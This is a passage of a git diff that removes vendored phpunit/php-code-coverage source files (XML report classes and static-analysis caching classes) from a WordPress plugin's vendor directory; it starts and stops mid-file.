processDirectory(DirectoryNode $directory, Node $context): void - { - $directoryName = $directory->name(); - - if ($this->project->projectSourceDirectory() === $directoryName) { - $directoryName = '/'; - } - - $directoryObject = $context->addDirectory($directoryName); - - $this->setTotals($directory, $directoryObject->totals()); - - foreach ($directory->directories() as $node) { - $this->processDirectory($node, $directoryObject); - } - - foreach ($directory->files() as $node) { - $this->processFile($node, $directoryObject); - } - } - - /** - * @throws XmlException - */ - private function processFile(FileNode $file, Directory $context): void - { - $fileObject = $context->addFile( - $file->name(), - $file->id() . '.xml' - ); - - $this->setTotals($file, $fileObject->totals()); - - $path = substr( - $file->pathAsString(), - strlen($this->project->projectSourceDirectory()) - ); - - $fileReport = new Report($path); - - $this->setTotals($file, $fileReport->totals()); - - foreach ($file->classesAndTraits() as $unit) { - $this->processUnit($unit, $fileReport); - } - - foreach ($file->functions() as $function) { - $this->processFunction($function, $fileReport); - } - - foreach ($file->lineCoverageData() as $line => $tests) { - if (!is_array($tests) || count($tests) === 0) { - continue; - } - - $coverage = $fileReport->lineCoverage((string) $line); - - foreach ($tests as $test) { - $coverage->addTest($test); - } - - $coverage->finalize(); - } - - $fileReport->source()->setSourceCode( - file_get_contents($file->pathAsString()) - ); - - $this->saveDocument($fileReport->asDom(), $file->id()); - } - - private function processUnit(array $unit, Report $report): void - { - if (isset($unit['className'])) { - $unitObject = $report->classObject($unit['className']); - } else { - $unitObject = $report->traitObject($unit['traitName']); - } - - $unitObject->setLines( - $unit['startLine'], - $unit['executableLines'], - $unit['executedLines'] - ); - - $unitObject->setCrap((float) $unit['crap']); - $unitObject->setNamespace($unit['namespace']); - - foreach ($unit['methods'] as $method) { - $methodObject = $unitObject->addMethod($method['methodName']); - $methodObject->setSignature($method['signature']); - $methodObject->setLines((string) $method['startLine'], (string) $method['endLine']); - $methodObject->setCrap($method['crap']); - $methodObject->setTotals( - (string) $method['executableLines'], - (string) $method['executedLines'], - (string) $method['coverage'] - ); - } - } - - private function processFunction(array $function, Report $report): void - { - $functionObject = $report->functionObject($function['functionName']); - - $functionObject->setSignature($function['signature']); - $functionObject->setLines((string) $function['startLine']); - $functionObject->setCrap($function['crap']); - $functionObject->setTotals((string) $function['executableLines'], (string) $function['executedLines'], (string) $function['coverage']); - } - - private function processTests(array $tests): void - { - $testsObject = $this->project->tests(); - - foreach ($tests as $test => $result) { - $testsObject->addTest($test, $result); - } - } - - private function setTotals(AbstractNode $node, Totals $totals): void - { - $loc = $node->linesOfCode(); - - $totals->setNumLines( - $loc['linesOfCode'], - $loc['commentLinesOfCode'], - $loc['nonCommentLinesOfCode'], - $node->numberOfExecutableLines(), - $node->numberOfExecutedLines() - ); - - $totals->setNumClasses( - $node->numberOfClasses(), - $node->numberOfTestedClasses() - ); - - $totals->setNumTraits( - $node->numberOfTraits(), - $node->numberOfTestedTraits() - ); - - $totals->setNumMethods( - $node->numberOfMethods(), - $node->numberOfTestedMethods() - ); - - $totals->setNumFunctions( - $node->numberOfFunctions(), - $node->numberOfTestedFunctions() - ); - } - - private function targetDirectory(): string - { - return $this->target; - } - - /** - * @throws XmlException - */ - private function saveDocument(DOMDocument $document, string $name): void - { - $filename = sprintf('%s/%s.xml', $this->targetDirectory(), $name); - - $document->formatOutput = true; - $document->preserveWhiteSpace = false; - $this->initTargetDirectory(dirname($filename)); - - file_put_contents($filename, $this->documentAsString($document)); - } - - /** - * @throws XmlException - * - * @see https://bugs.php.net/bug.php?id=79191 - */ - private function documentAsString(DOMDocument $document): string - { - $xmlErrorHandling = libxml_use_internal_errors(true); - $xml = $document->saveXML(); - - if ($xml === false) { - $message = 'Unable to generate the XML'; - - foreach (libxml_get_errors() as $error) { - $message .= PHP_EOL . $error->message; - } - - throw new XmlException($message); - } - - libxml_clear_errors(); - libxml_use_internal_errors($xmlErrorHandling); - - return $xml; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/File.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/File.php deleted file mode 100644 index 245c5cee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/File.php +++ /dev/null @@ -1,87 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMDocument; -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -class File -{ - /** - * @var DOMDocument - */ - private $dom; - - /** - * @var DOMElement - */ - private $contextNode; - - public function __construct(DOMElement $context) - { - $this->dom = $context->ownerDocument; - $this->contextNode = $context; - } - - public function totals(): Totals - { - $totalsContainer = $this->contextNode->firstChild; - - if (!$totalsContainer) { - $totalsContainer = $this->contextNode->appendChild( - $this->dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'totals' - ) - ); - } - - return new Totals($totalsContainer); - } - - public function lineCoverage(string $line): Coverage - { - $coverage = $this->contextNode->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - 'coverage' - )->item(0); - - if (!$coverage) { - $coverage = $this->contextNode->appendChild( - $this->dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'coverage' - ) - ); - } - - $lineNode = $coverage->appendChild( - $this->dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'line' - ) - ); - - return new Coverage($lineNode, $line); - } - - protected function contextNode(): DOMElement - { - return $this->contextNode; - } - - protected function dom(): DOMDocument - { - return $this->dom; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Method.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Method.php deleted file mode 100644 index 7e300999..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Method.php +++ /dev/null @@ -1,61 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Method -{ - /** - * @var DOMElement - */ - private $contextNode; - - public function __construct(DOMElement $context, string $name) - { - $this->contextNode = $context; - - $this->setName($name); - } - - public function setSignature(string $signature): void - { - $this->contextNode->setAttribute('signature', $signature); - } - - public function setLines(string $start, ?string $end = null): void - { - $this->contextNode->setAttribute('start', $start); - - if ($end !== null) { - $this->contextNode->setAttribute('end', $end); - } - } - - public function setTotals(string $executable, string $executed, string $coverage): void - { - $this->contextNode->setAttribute('executable', $executable); - $this->contextNode->setAttribute('executed', $executed); - $this->contextNode->setAttribute('coverage', $coverage); - } - - public function setCrap(string $crap): void - { - $this->contextNode->setAttribute('crap', $crap); - } - - private function setName(string $name): void - { - $this->contextNode->setAttribute('name', $name); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Node.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Node.php deleted file mode 100644 index 15992309..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Node.php +++ /dev/null @@ -1,93 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMDocument; -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -abstract class Node -{ - /** - * @var DOMDocument - */ - private $dom; - - /** - * @var DOMElement - */ - private $contextNode; - - public function __construct(DOMElement $context) - { - $this->setContextNode($context); - } - - public function dom(): DOMDocument - { - return $this->dom; - } - - public function totals(): Totals - { - $totalsContainer = $this->contextNode()->firstChild; - - if (!$totalsContainer) { - $totalsContainer = $this->contextNode()->appendChild( - $this->dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'totals' - ) - ); - } - - return new Totals($totalsContainer); - } - - public function addDirectory(string $name): Directory - { - $dirNode = $this->dom()->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'directory' - ); - - $dirNode->setAttribute('name', $name); - $this->contextNode()->appendChild($dirNode); - - return new Directory($dirNode); - } - - public function addFile(string $name, string $href): File - { - $fileNode = $this->dom()->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'file' - ); - - $fileNode->setAttribute('name', $name); - $fileNode->setAttribute('href', $href); - $this->contextNode()->appendChild($fileNode); - - return new File($fileNode); - } - - protected function setContextNode(DOMElement $context): void - { - $this->dom = $context->ownerDocument; - $this->contextNode = $context; - } - - protected function contextNode(): DOMElement - { - return $this->contextNode; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Project.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Project.php deleted file mode 100644 index b566bce0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Project.php +++ /dev/null @@ -1,90 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Project extends Node -{ - public function __construct(string $directory) - { - $this->init(); - $this->setProjectSourceDirectory($directory); - } - - public function projectSourceDirectory(): string - { - return $this->contextNode()->getAttribute('source'); - } - - public function buildInformation(): BuildInformation - { - $buildNode = $this->dom()->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - 'build' - )->item(0); - - if (!$buildNode) { - $buildNode = $this->dom()->documentElement->appendChild( - $this->dom()->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'build' - ) - ); - } - - return new BuildInformation($buildNode); - } - - public function tests(): Tests - { - $testsNode = $this->contextNode()->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - 'tests' - )->item(0); - - if (!$testsNode) { - $testsNode = $this->contextNode()->appendChild( - $this->dom()->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'tests' - ) - ); - } - - return new Tests($testsNode); - } - - public function asDom(): DOMDocument - { - return $this->dom(); - } - - private function init(): void - { - $dom = new DOMDocument; - $dom->loadXML(''); - - $this->setContextNode( - $dom->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - 'project' - )->item(0) - ); - } - - private function setProjectSourceDirectory(string $name): void - { - $this->contextNode()->setAttribute('source', $name); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Report.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Report.php deleted file mode 100644 index 7f2badae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Report.php +++ /dev/null @@ -1,99 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use function basename; -use function dirname; -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Report extends File -{ - public function __construct(string $name) - { - $dom = new DOMDocument; - $dom->loadXML(''); - - $contextNode = $dom->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - 'file' - )->item(0); - - parent::__construct($contextNode); - - $this->setName($name); - } - - public function asDom(): DOMDocument - { - return $this->dom(); - } - - public function functionObject($name): Method - { - $node = $this->contextNode()->appendChild( - $this->dom()->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'function' - ) - ); - - return new Method($node, $name); - } - - public function classObject($name): Unit - { - return $this->unitObject('class', $name); - } - - public function traitObject($name): Unit - { - return $this->unitObject('trait', $name); - } - - public function source(): Source - { - $source = $this->contextNode()->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - 'source' - )->item(0); - - if (!$source) { - $source = $this->contextNode()->appendChild( - $this->dom()->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'source' - ) - ); - } - - return new Source($source); - } - - private function setName(string $name): void - { - $this->contextNode()->setAttribute('name', basename($name)); - $this->contextNode()->setAttribute('path', dirname($name)); - } - - private function unitObject(string $tagName, $name): Unit - { - $node = $this->contextNode()->appendChild( - $this->dom()->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - $tagName - ) - ); - - return new Unit($node, $name); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Source.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Source.php deleted file mode 100644 index 2b67ce1d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Source.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMElement; -use TheSeer\Tokenizer\NamespaceUri; -use TheSeer\Tokenizer\Tokenizer; -use TheSeer\Tokenizer\XMLSerializer; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Source -{ - /** @var DOMElement */ - private $context; - - public function __construct(DOMElement $context) - { - $this->context = $context; - } - - public function setSourceCode(string $source): void - { - $context = $this->context; - - $tokens = (new Tokenizer)->parse($source); - $srcDom = (new XMLSerializer(new NamespaceUri($context->namespaceURI)))->toDom($tokens); - - $context->parentNode->replaceChild( - $context->ownerDocument->importNode($srcDom->documentElement, true), - $context - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Tests.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Tests.php deleted file mode 100644 index c6da4145..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Tests.php +++ /dev/null @@ -1,50 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Tests -{ - private $contextNode; - private $codeMap = [ - -1 => 'UNKNOWN', // PHPUnit_Runner_BaseTestRunner::STATUS_UNKNOWN - 0 => 'PASSED', // PHPUnit_Runner_BaseTestRunner::STATUS_PASSED - 1 => 'SKIPPED', // PHPUnit_Runner_BaseTestRunner::STATUS_SKIPPED - 2 => 'INCOMPLETE', // PHPUnit_Runner_BaseTestRunner::STATUS_INCOMPLETE - 3 => 'FAILURE', // PHPUnit_Runner_BaseTestRunner::STATUS_FAILURE - 4 => 'ERROR', // PHPUnit_Runner_BaseTestRunner::STATUS_ERROR - 5 => 'RISKY', // PHPUnit_Runner_BaseTestRunner::STATUS_RISKY - 6 => 'WARNING', // PHPUnit_Runner_BaseTestRunner::STATUS_WARNING - ]; - - public function __construct(DOMElement $context) - { - $this->contextNode = $context; - } - - public function addTest(string $test, array $result): void - { - $node = $this->contextNode->appendChild( - $this->contextNode->ownerDocument->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'test' - ) - ); - - $node->setAttribute('name', $test); - $node->setAttribute('size', $result['size']); - $node->setAttribute('result', (string) $result['status']); - $node->setAttribute('status', $this->codeMap[(int) $result['status']]); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Totals.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Totals.php deleted file mode 100644 index 37081318..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Totals.php +++ /dev/null @@ -1,146 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use function sprintf; -use DOMElement; -use DOMNode; -use SebastianBergmann\CodeCoverage\Util\Percentage; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Totals -{ - /** - * @var DOMNode - */ - private $container; - - /** - * @var DOMElement - */ - private $linesNode; - - /** - * @var DOMElement - */ - private $methodsNode; - - /** - * @var DOMElement - */ - private $functionsNode; - - /** - * @var DOMElement - */ - private $classesNode; - - /** - * @var DOMElement - */ - private $traitsNode; - - public function __construct(DOMElement $container) - { - $this->container = $container; - $dom = $container->ownerDocument; - - $this->linesNode = $dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'lines' - ); - - $this->methodsNode = $dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'methods' - ); - - $this->functionsNode = $dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'functions' - ); - - $this->classesNode = $dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'classes' - ); - - $this->traitsNode = $dom->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'traits' - ); - - $container->appendChild($this->linesNode); - $container->appendChild($this->methodsNode); - $container->appendChild($this->functionsNode); - $container->appendChild($this->classesNode); - $container->appendChild($this->traitsNode); - } - - public function container(): DOMNode - { - return $this->container; - } - - public function setNumLines(int $loc, int $cloc, int $ncloc, int $executable, int $executed): void - { - $this->linesNode->setAttribute('total', (string) $loc); - $this->linesNode->setAttribute('comments', (string) $cloc); - $this->linesNode->setAttribute('code', (string) $ncloc); - $this->linesNode->setAttribute('executable', (string) $executable); - $this->linesNode->setAttribute('executed', (string) $executed); - $this->linesNode->setAttribute( - 'percent', - $executable === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($executed, $executable)->asFloat()) - ); - } - - public function setNumClasses(int $count, int $tested): void - { - $this->classesNode->setAttribute('count', (string) $count); - $this->classesNode->setAttribute('tested', (string) $tested); - $this->classesNode->setAttribute( - 'percent', - $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) - ); - } - - public function setNumTraits(int $count, int $tested): void - { - $this->traitsNode->setAttribute('count', (string) $count); - $this->traitsNode->setAttribute('tested', (string) $tested); - $this->traitsNode->setAttribute( - 'percent', - $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) - ); - } - - public function setNumMethods(int $count, int $tested): void - { - $this->methodsNode->setAttribute('count', (string) $count); - $this->methodsNode->setAttribute('tested', (string) $tested); - $this->methodsNode->setAttribute( - 'percent', - $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) - ); - } - - public function setNumFunctions(int $count, int $tested): void - { - $this->functionsNode->setAttribute('count', (string) $count); - $this->functionsNode->setAttribute('tested', (string) $tested); - $this->functionsNode->setAttribute( - 'percent', - $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Unit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Unit.php deleted file mode 100644 index d84dc481..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Xml/Unit.php +++ /dev/null @@ -1,78 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Xml; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Unit -{ - /** - * @var DOMElement - */ - private $contextNode; - - public function __construct(DOMElement $context, string $name) - { - $this->contextNode = $context; - - $this->setName($name); - } - - public function setLines(int $start, int $executable, int $executed): void - { - $this->contextNode->setAttribute('start', (string) $start); - $this->contextNode->setAttribute('executable', (string) $executable); - $this->contextNode->setAttribute('executed', (string) $executed); - } - - public function setCrap(float $crap): void - { - $this->contextNode->setAttribute('crap', (string) $crap); - } - - public function setNamespace(string $namespace): void - { - $node = $this->contextNode->getElementsByTagNameNS( - 'https://schema.phpunit.de/coverage/1.0', - 'namespace' - )->item(0); - - if (!$node) { - $node = $this->contextNode->appendChild( - $this->contextNode->ownerDocument->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'namespace' - ) - ); - } - - $node->setAttribute('name', $namespace); - } - - public function addMethod(string $name): Method - { - $node = $this->contextNode->appendChild( - $this->contextNode->ownerDocument->createElementNS( - 'https://schema.phpunit.de/coverage/1.0', - 'method' - ) - ); - - return new Method($node, $name); - } - - private function setName(string $name): void - { - $this->contextNode->setAttribute('name', $name); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php deleted file mode 100644 index 6f8a0449..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php +++ /dev/null @@ -1,32 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\StaticAnalysis; - -use SebastianBergmann\CodeCoverage\Filter; - -final class CacheWarmer -{ - public function warmCache(string $cacheDirectory, bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode, Filter $filter): void - { - $analyser = new CachingFileAnalyser( - $cacheDirectory, - new ParsingFileAnalyser( - $useAnnotationsForIgnoringCode, - $ignoreDeprecatedCode - ), - $useAnnotationsForIgnoringCode, - $ignoreDeprecatedCode, - ); - - foreach ($filter->files() as $file) { - $analyser->process($file); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php deleted file mode 100644 index 63e6e22b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php +++ /dev/null @@ -1,209 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\StaticAnalysis; - -use function file_get_contents; -use function file_put_contents; -use function implode; -use function is_file; -use function md5; -use function serialize; -use function unserialize; -use SebastianBergmann\CodeCoverage\Util\Filesystem; -use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class CachingFileAnalyser implements FileAnalyser -{ - /** - * @var ?string - */ - private static $cacheVersion; - - /** - * @var string - */ - private $directory; - - /** - * @var FileAnalyser - */ - private $analyser; - - /** - * @var bool - */ - private $useAnnotationsForIgnoringCode; - - /** - * @var bool - */ - private $ignoreDeprecatedCode; - - /** - * @var array - */ - private $cache = []; - - public function __construct(string $directory, FileAnalyser $analyser, bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode) - { - Filesystem::createDirectory($directory); - - $this->analyser = $analyser; - $this->directory = $directory; - $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; - $this->ignoreDeprecatedCode = $ignoreDeprecatedCode; - } - - public function classesIn(string $filename): array - { - if (!isset($this->cache[$filename])) { - $this->process($filename); - } - - return $this->cache[$filename]['classesIn']; - } - - public function traitsIn(string $filename): array - { - if (!isset($this->cache[$filename])) { - $this->process($filename); - } - - return $this->cache[$filename]['traitsIn']; - } - - public function functionsIn(string $filename): array - { - if (!isset($this->cache[$filename])) { - $this->process($filename); - } - - return $this->cache[$filename]['functionsIn']; - } - - /** - * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} - */ - public function linesOfCodeFor(string $filename): array - { - if (!isset($this->cache[$filename])) { - $this->process($filename); - } - - return $this->cache[$filename]['linesOfCodeFor']; - } - - public function executableLinesIn(string $filename): array - { - if (!isset($this->cache[$filename])) { - $this->process($filename); - } - - return $this->cache[$filename]['executableLinesIn']; - } - - public function ignoredLinesFor(string $filename): array - { - if (!isset($this->cache[$filename])) { - $this->process($filename); - } - - return $this->cache[$filename]['ignoredLinesFor']; - } - - public function process(string $filename): void - { - $cache = $this->read($filename); - - if ($cache !== false) { - $this->cache[$filename] = $cache; - - return; - } - - $this->cache[$filename] = [ - 'classesIn' => $this->analyser->classesIn($filename), - 'traitsIn' => $this->analyser->traitsIn($filename), - 'functionsIn' => $this->analyser->functionsIn($filename), - 'linesOfCodeFor' => $this->analyser->linesOfCodeFor($filename), - 'ignoredLinesFor' => $this->analyser->ignoredLinesFor($filename), - 'executableLinesIn' => $this->analyser->executableLinesIn($filename), - ]; - - $this->write($filename, $this->cache[$filename]); - } - - /** - * @return mixed - */ - private function read(string $filename) - { - $cacheFile = $this->cacheFile($filename); - - if (!is_file($cacheFile)) { - return false; - } - - return unserialize( - file_get_contents($cacheFile), - ['allowed_classes' => false] - ); - } - - /** - * @param mixed $data - */ - private function write(string $filename, $data): void - { - file_put_contents( - $this->cacheFile($filename), - serialize($data) - ); - } - - private function cacheFile(string $filename): string - { - $cacheKey = md5( - implode( - "\0", - [ - $filename, - file_get_contents($filename), - self::cacheVersion(), - $this->useAnnotationsForIgnoringCode, - $this->ignoreDeprecatedCode, - ] - ) - ); - - return $this->directory . DIRECTORY_SEPARATOR . $cacheKey; - } - - private static function cacheVersion(): string - { - if (self::$cacheVersion !== null) { - return self::$cacheVersion; - } - - $buffer = []; - - foreach ((new FileIteratorFacade)->getFilesAsArray(__DIR__, '.php') as $file) { - $buffer[] = $file; - $buffer[] = file_get_contents($file); - } - - self::$cacheVersion = md5(implode("\0", $buffer)); - - return self::$cacheVersion; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php deleted file mode 100644 index cb85cd61..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php +++ /dev/null @@ -1,345 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\StaticAnalysis; - -use function assert; -use function implode; -use function rtrim; -use function trim; -use PhpParser\Node; -use PhpParser\Node\ComplexType; -use PhpParser\Node\Identifier; -use PhpParser\Node\IntersectionType; -use PhpParser\Node\Name; -use PhpParser\Node\NullableType; -use PhpParser\Node\Stmt\Class_; -use PhpParser\Node\Stmt\ClassMethod; -use PhpParser\Node\Stmt\Enum_; -use PhpParser\Node\Stmt\Function_; -use PhpParser\Node\Stmt\Interface_; -use PhpParser\Node\Stmt\Trait_; -use PhpParser\Node\UnionType; -use PhpParser\NodeAbstract; -use PhpParser\NodeTraverser; -use PhpParser\NodeVisitorAbstract; -use SebastianBergmann\Complexity\CyclomaticComplexityCalculatingVisitor; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class CodeUnitFindingVisitor extends NodeVisitorAbstract -{ - /** - * @psalm-var array}> - */ - private $classes = []; - - /** - * @psalm-var array}> - */ - private $traits = []; - - /** - * @psalm-var array - */ - private $functions = []; - - public function enterNode(Node $node): void - { - if ($node instanceof Class_) { - if ($node->isAnonymous()) { - return; - } - - $this->processClass($node); - } - - if ($node instanceof Trait_) { - $this->processTrait($node); - } - - if (!$node instanceof ClassMethod && !$node instanceof Function_) { - return; - } - - if ($node instanceof ClassMethod) { - $parentNode = $node->getAttribute('parent'); - - if ($parentNode instanceof Class_ && $parentNode->isAnonymous()) { - return; - } - - $this->processMethod($node); - - return; - } - - $this->processFunction($node); - } - - /** - * @psalm-return array}> - */ - public function classes(): array - { - return $this->classes; - } - - /** - * @psalm-return array}> - */ - public function traits(): array - { - return $this->traits; - } - - /** - * @psalm-return array - */ - public function functions(): array - { - return $this->functions; - } - - /** - * @psalm-param ClassMethod|Function_ $node - */ - private function cyclomaticComplexity(Node $node): int - { - assert($node instanceof ClassMethod || $node instanceof Function_); - - $nodes = $node->getStmts(); - - if ($nodes === null) { - return 0; - } - - $traverser = new NodeTraverser; - - $cyclomaticComplexityCalculatingVisitor = new CyclomaticComplexityCalculatingVisitor; - - $traverser->addVisitor($cyclomaticComplexityCalculatingVisitor); - - /* @noinspection UnusedFunctionResultInspection */ - $traverser->traverse($nodes); - - return 